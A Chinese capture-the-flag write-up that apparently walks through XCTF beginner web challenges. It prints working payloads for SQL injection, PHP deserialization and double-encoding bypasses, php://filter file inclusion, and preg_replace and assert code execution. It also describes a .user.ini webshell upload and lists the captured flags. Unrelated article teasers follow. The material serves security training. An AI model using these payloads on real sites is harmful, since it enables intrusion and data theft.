XCTF之新手Web题目

news2024/12/24 22:12:39

新手第一题:Training-WWW-Robots

图片提示:

解题流程:

具体操作:打开菜单-->Web开发者-->查看器(或者快捷键ctrl+shift+c)

robots.txt文件被网络爬虫使用,以检查它们是否被允许抓取和索引您的网站或仅部分网站。

访问robots.txt路径发现

继续访问/fl0g.php文件

找到flag:cyberpeace{2fe43e3e5bfa7db8b4102203254a4ad9}

新手第二题:PHP2

查看网页提示

你能登陆这个网站吗?

新增知识笔记:

网页文件的后缀分别有htm、html、JSP HTML、php、ASP动态网页文件、PHP/PHP3、PHTML 这几种。

分析网站为PHP语言编写,那后缀一般是admin.php\login.php\index.php........

通过kailiLinux工具dirb扫描网站目标找到网站登陆地址:http://61.147.171.105:55379/index.php

最后在index.php后加了个s,index.phps。然后就出效果了。

phps其实就是php Source,根据意思也可以知道是php源代码。

所以phps就是php的源代码文件。通常用来给用户查看php代码的。因为用户无法直接在Web浏览器查看php文件里的内容。然后需要用到phps文件来代替了。

这或许是源码泄露,分析一下源代码

<?php
 if("admin"===$_GET[id]) {
   echo("<p>not allowed!</p>");
   exit();
 }
 $_GET[id] = urldecode($_GET[id]);
 if($_GET[id] == "admin")
 {
   echo "<p>Access granted!</p>";
   echo "<p>Key: xxxxxxx </p>";
 }
 ?>
 
 Can you anthenticate to this website?

代码分析:

===与==的区别

===是比较值和数据类型

==它是比较值,不比较数据类型

例如:$a='123' $b=123

$a===$b //False

$a==$b //True

里面有一个urldecode,意思就是用于解码已编码的 URL 字符串,其原理就是把十六进制字符串转换为中文字符

要求admin不能等于get传过来的值,又要求在get传过来的值经过urldecode后等于admin

而且浏览器会对非ASCII字符自动进行一次urldecode,所以我们还得编码两次。

%2561解码就是%61 //第一次解码

%61解码就为a //第二次解码

/index.php?id=%2561dmin

找到flag: cyberpeace{c2e2cb0dca2596affa3609e2b51b5453}

新手第三题:unserialize3

查看网页提示

_wakeup(),如果需要反序列化的时候,php才会调用_wakeup()。所以我们需要利用反序列化。

<?php
 class xctf{
 public $flag = '111';
 public function __wakeup(){
 exit('bad requests');
 }
 }
 $a = new xctf();
 echo serialize($a);
 ?>

/?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";}

xctf为类名,4为字符数,1为序列化字符串中变量个数
正常结果输入时,会执行__wakeup(),从而输出'bad requests',并退出脚本,因此利用漏洞绕过__wakeup()
将序列化字符串中代表变量个数的数字改为大于其真实值的数字,并进行GET请求,得到结果。

/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

找到flag: cyberpeace{8bd4eb5e3826c8f09e823e425672d9a2}

新手第四题:ics-06

观察页面提示

点击报表中心页面,地址信息为/index.php?id=1

尝试选择日期范围,还是id=1

利用burp suite进行暴力破解测试

payload:/index.php?id=2333

找到flag: cyberpeace{51a43cb4a90340e0ef9eea0bb7c81a23}

新手第五题:view_source

查看页面提示

网页无法通过右键-检查-打开开发者工具

payload:view-source:

找到flag:cyberpeace{cef6c21169ffb5699ad5a36e016216d8}

新手第六题:get_post

查看网页提示

最直观的区别就是GET把参数包含在URL中,POST通过request body传递参数。

get请求:

post请求:

找到flag:cyberpeace{0f2cf2abec3d7321dc92e73072ce602a}

新手第七题:robots

robots协议也称爬虫协议、爬虫规则等,是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。

观察网页提示:

访问路径:/robots.txt

继续访问/f1ag_1s_h3re.php 文件

找到flag: cyberpeace{24c2abc948e55044e670582f0a30fee3}

新手第八题:backup

观察网页信息:

尝试加入网页文件名无反应

如果网站存在备份文件,常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”、“.bash_history”、“.bkf” 尝试在URL后面,依次输入常见的文件备份扩展名。

测试通过御剑工具进行备份文件扫描

扫描到一个bak可以文件访问路径/index.php.bak拿到flag

找到flag:"Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"

新手第九题:cookie

观察页面信息

看到cookie文件,访问cookie.php

提示观察HTTP响应

具体操作:打开菜单-->Web开发者-->网络

找到flag:cyberpeace{b2abf121540996089fc9c2ec3395beff}

新手第十题:disabled_button

观察网页信息

有个按钮工具无法启用查看源代码

发现form表单中的按钮有disabed属性,修改或删除测试

找到flag:cyberpeace{c5aa8679c5030205edf7b072119d726a}

新手第十题:weak_auth

观察网页信息:

测试输入test/password

提示用户需要输入admin

继续测试admin/123456

找到flag: cyberpeace{37f915fa92d4faab220bc3c5484b95b5}

新手第十一题:simple_php

查看网页信息

php中的== 和 ===的用法及区别:php中的==和===的用法及区别_程序猿式Chinoiserie的博客-CSDN博客

提示php简单语法,进入之后看到php代码,flag由两部分组成,

$a==0 and $a :要求a等于0,并且a是TRUE,php是弱语言,在执行关系运算“==”时要求运算符两边的数据类型必须一致,如果等号右边是字符串abc,会被强制转换为了整型0,但字符串是TRUE。

is_numeric($b) :is_numeric() 函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回TRUE,否则返回FALSE。

$b>1234 :b要大于1234,上面要求不能是数字和数字字符串,所以数字后面加字母就行:1345a。

$a=@$_GET['a'];$b=@$_GET['b'];

:GET方式输入a和b,/?a=abc&b=1345a

找到flag:Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

新手第十二题:baby_web

查看网页信息

初始页面文件一般为index.php文件,但是访问界面为显示到页面上,打开开发者工具查看index.php文件响应头内容位置显示flag信息。

找到flag:flag{very_baby_web}

新手第十三题:inget

查看页面

测试SQL注入

检测是否存在SQL注入

sqlmap.py -u "http://61.147.171.105:50852/?id=1%27--+" --dump 查看记录

payload:/?id=1' or 1=1-- -

找到flag: cyberpeace{8d71a421a1bf5adbf8ced73e6671f4ca}

新手第十四题:easyupload

查看页面测试上传一张jpg文件格式的图片

文件路径可访问

.user.ini绕过(利用解析漏洞)

.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。

所以本题我们要想上传并且执行,首先上传.user.ini文件,然后上传一个图片。

先上传一个配置文件

再制作一个一句话木马图片

访问照片路径

检查网络上传文件的地址 (如果是空白就点击重新载入)

这个地址真的很重要!!!不能用那个网站本身的网址,也不能用Referer的那个

正确地址 http://223.112.5.156:57370/uploads/index.php

错误地址 http://223.112.5.156:57370/index.php

错误地址用蚁剑或者菜刀来连接测试返回数据为空

右键添加数据输入正确的URL地址

找到flag: cyberpeace{9cf9f5742497791c16630fdf328ecf60}

新手第十五题:fileinclude

观察网页信息

页面给出了flag在flag.php中,明确了目标,看一下网页源码

?php
if( !ini_get('display_errors') ) {
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
	@setcookie("language","english");
	@include("english.php");
}
else
{
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?

主要部分

$lan=$_COOKIE['language']; ==> $lan由cookie传入

if条件中 ==> $lan不存在则包含english.php,存在则会将$lan的值拼接.php然后进行包含。

分析到这里方法就明确了,通过cookie传入文件包含的payload,读取源码。

burp suite抓取数据包添加修改cookie内容

payload:

cookie:language=php://filter/read=convert.base64-encode/resource=flag

通过php://协议的filter读取源码,read=指定base64的转换过滤器,flag进行base64编码。

通过base64解码

找到flag:cyberpeace{9024999c9c3e5251224c5ce516b713cc}

新手第十六题:easyphp

观察页面信息

待......

新手第十七题:lottery

首页

flag需要钱买

抓购买包,将购买数字参数改为以下paylod

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

多放几次包

那道flag

新手第十八题:ics-05

尝试御剑扫描url路径爆破、页面源代码

URL栏有参数?page=index 存在get传值

page的参数联想到可能存在文件包含漏洞

使用伪协议读取index.php源代码

源码分析

验证伪造XFF头来登入系统,同时利用preg_replace函数的漏洞

当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload

/index.php?pat=/123/esrep=system("find+-iname+flag")&sub=123

注:这里

”+“号在url中会被解释成空格号,这里用%20也行

最后的payload

/index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123

得到flag

新手第十九题:mfw

http://61.147.171.105:60963/?page=about
http://61.147.171.105:60963/?page=about#
http://61.147.171.105:60963/?page=home
http://61.147.171.105:60963/?page=contact

查看页面源代码

yakit扫描器对web服务进行漏洞扫描

/.git/泄露

用cmder工具读取文件代码

flag文件为空

继续代码分析

<?php

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
        <head>
                <meta charset="utf-8">
                <meta http-equiv="X-UA-Compatible" content="IE=edge">
                <meta name="viewport" content="width=device-width, initial-scale=1">

                <title>My PHP Website</title>

                <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
        </head>
        <body>
                <nav class="navbar navbar-inverse navbar-fixed-top">
                        <div class="container">
                        <div class="navbar-header">
                                <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                                <span class="sr-only">Toggle navigation</span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                                </button>
                                <a class="navbar-brand" href="#">Project name</a>
                        </div>
                        <div id="navbar" class="collapse navbar-collapse">
                                <ul class="nav navbar-nav">
                                <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
                                <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
                                <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
                                                <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
                                </ul>
                        </div>
                    </div>
                </nav>

                <div class="container" style="margin-top: 50px">
                        <?php
                                require_once $file;
                        ?>

                </div>

                <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
                <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
        </body>
</html>

payload:flag.php','..')==false and system('cat templates/flag.php | base64') and strpos('templates/flag

新手第二十题:supersqli

构造闭合函数,判断数据库列数,根据提示报错过滤掉select 参数

构造报错注入函数进行绕过

1%27and+extractvalue(1,concat(1,version()));%00

-1%27and+extractvalue(1,concat(1,database()));%00

-1';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE sql_query FROM @sql;EXECUTE sql_query;--+

新手第二十一题:NewsCenter

输入抓包发现post注入

sqlmap工具跑

找到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1036311.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

普通人也能秒变电子画册制作达人

你是不是觉得制作电子画册很难&#xff1f;需要专业的设计知识和软件&#xff1f;今天&#xff0c;小编告诉你&#xff0c;制作电子画册并不难&#xff01;只要掌握一些简单技巧&#xff0c;你也可以轻松制精美的电子画册。下面&#xff0c;让我们一起来看看&#xff0c;如何从…

以太网协议

以太网 以太网协议格式&#x1f3a8;目的地址,源地址mac地址格式 以太网协议格式&#x1f3a8; 目的地址,源地址 此处的地址,叫做mac地址(物理地址),长度是6个字节 mac地址的作用也是用来区分不同的主机 IP地址的长度是4字节 IP地址负责网络层(整体)转发,mac地址负责数据链路层…

【斗罗2】霍雨浩实力被否定,超级斗罗眼光被嘲,魂导院成功捡漏

Hello,小伙伴们&#xff0c;我是小郑继续为大家深度解析斗罗大陆2绝世唐门。 最新一集《绝世唐门》已经更新&#xff0c;相信不少小伙伴和小郑一样都已经先睹为快&#xff0c;本集虽然是过渡剧情&#xff0c;但本身还是有不少有意思的剧情&#xff0c;作为过渡文戏也算是可圈可…

服务器挂机策略

title: “服务器挂机” createTime: 2022-05-11T11:05:4308:00 updateTime: 2022-05-11T11:05:4308:00 draft: false author: “name” tags: [“服务器”] categories: [“服务器”] description: “测试的” 服务器挂机策略 地址&#xff1a;pve.dongshanxia.top:35000用户…

Leetcode 451. 根据字符出现频率排序

文章目录 题目代码&#xff08;9.24 首刷自解&#xff09; 题目 Leetcode 451. 根据字符出现频率排序 代码&#xff08;9.24 首刷自解&#xff09; class Solution { public:string frequencySort(string s) {unordered_map<char, int> mp;for(char&c : s)mp[c];au…

SQL 基础知识梳理(一)- 数据库与 SQL

目录 一、Whats 数据库二、数据库结构三、SQL 概要四、创建数据库与表五、更新和删除表 一、What’s 数据库 1.数据库&#xff08;Database&#xff0c;DB&#xff09;&#xff1a;将大量数据保存起来&#xff0c;通过计算机加工而成的可以进行高效访问的数据集合。如&#xf…

三、支持向量机算法(SVC,Support Vector Classification)(有监督学习)

支持向量机Support Vector Machine&#xff0c;就是所谓的SVM&#xff0c;它指的是一系列的机器学习算法&#xff0c;根据解决问题的不同&#xff0c;分为SVC(分类)和SVR(回归) SVC&#xff0c;Support Vector Classification&#xff0c;其本质也是支持向量机support vector&…

Visopsys 小型操作系统

Visopsys 是一个 PC 机的操作系统&#xff0c;系统小型、快速而且开源。有着丰富的图形界面、抢先式多任务机制以及支持虚拟内存。Visopsys 视图兼容很多操作系统&#xff0c;但并不是他们的克隆版本。Visopsys 0.92 现已发布&#xff0c;此维护版本引入了多任务处理程序、文件…

js逆向-某税务网站chinatax分析

目录 一、如图网站二、研究登陆页反爬参数1、datagram参数2、请求接口关系 三、研究详情页反爬参数1、urlyzm与ruuid与x-b3-spanid参数2、los28199参数3、lzkqow23819参数4、jmbw参数 四、最终结果 一、如图网站 二、研究登陆页反爬参数 1、datagram参数 很多接口使用到的dat…

PyCharm 手动下载插件

插件模块一直加载失败&#xff0c;报错信息&#xff1a; Marketplace plugins are not loaded. Check the internet connection and refresh. 尝试了以下方法&#xff0c;均告失败&#xff1a; pip 换源Manage Plugin Repositories...HTTP 代理设置...关闭三个防火墙 最后选…

Spring面试题5:面试官:为什么说Spring是一个容器?如何给Spring容器提供配置元数据?

该文章专注于面试,面试只要回答关键点即可,不需要对框架有非常深入的回答,如果你想应付面试,是足够了,抓住关键点 面试官:为什么说Spring是一个容器? Spring被称为一个容器,是因为它提供了一个运行环境和管理机制,用于管理应用程序中的对象的生命周期和依赖关系。 …

C#中对泛型集合元素使用List.Sort()方法排序

啊&#xff01;终于整明白了&#xff01; 今天拿出一点时间研究了一下C#的List<T>如何排序&#xff0c;基本上整明白了。很多场景下&#xff0c;用这个排序还是很方便的。 //构造一个类 public class mth{//编号private string id;public string Id{get { return id; …

Python四大数据结构整理

Python四大数据结构整理 列表列表本身的基础造作操作列表的增删改查列表总结 字典字典的创建获取字典视图遍历字典字典生成式 元组与集合元组的创建元组的获取集合集合的创建方式集合的相关操作 对比归纳总结 列表 列表的特点   1.列表元素按顺序有序排放   2.索引映射唯一…

Linux---su:鉴定故障

问题来源:在使用xshell操作Linux命令时,切换root权限报错 可能是未设置密码:输入 sudo password 重新设置一下密码即可 本人犯的错: 因为在Linux下输入密码是没有显示的,然后我的键盘num键没开!!!(也就是输入数字开关的键盘),导致我认为我的密码输进去了,给我整懵逼了&#x…

十四、流式编程(4)

本章概要 终端操作 数组循环集合组合匹配查找信息数字流信息 终端操作 以下操作将会获取流的最终结果。至此我们无法再继续往后传递流。可以说&#xff0c;终端操作&#xff08;Terminal Operations&#xff09;总是我们在流管道中所做的最后一件事。 数组 toArray()&…

Docker Dockerfile解析

Dockerfile是什么 Dockerfile是用来构建Docker镜像的文本文件&#xff0c;是由一条条构建镜像所需的指令和参数构成的脚本。 官网&#xff1a;Dockerfile reference | Docker Docs 构建三步骤&#xff1a; 编写Dockerfile文件docker build命令构建镜像docker run依镜像运行容…

Bun 1.0 正式发布,爆火的前端运行时,速度遥遥领先!

文章目录 一、包子1.0二、Bun 是一个一体化工具包为什么包子存在 二、Bun 是一个 JavaScript 运行时Node.js 兼容性速度TypeScript 和 JSX 支持ESM 和 CommonJS 兼容性网络 API热重载插件 一、包子1.0 Bun 1.0终于来了。 Bun 是一个快速、一体化的工具包&#xff0c;用于运行…

云原生微服务治理:服务发现、负载均衡与熔断策略

文章目录 什么是云原生微服务治理&#xff1f;服务发现客户端发现服务器端发现 负载均衡Ribbon - 基于客户端的负载均衡Nginx - 基于服务器的负载均衡 熔断策略Hystrix - 熔断器模式 结论 &#x1f389;欢迎来到云计算技术应用专栏~云原生微服务治理&#xff1a;服务发现、负载…

【AI视野·今日Robot 机器人论文速览 第三十九期】Fri, 22 Sep 2023

AI视野今日CS.Robotics 机器人学论文速览 Fri, 22 Sep 2023 Totally 39 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers ForceSight: Text-Guided Mobile Manipulation with Visual-Force Goals Authors Jeremy A. Collins, Cody Houff, You Liang …

【项目】在线音乐播放器测试报告

目录 项目背景 项目功能 测试计划 功能测试 登录页面的测试 测试用例 测试结果 注册页面的测试 测试用例 测试结果 音乐列表页面的测试 测试用例 测试结果 出现的bug 搜索功能的bug 问题解决 删除功能的bug 问题解决 喜欢列表页面的测试 测试用例 测试结果…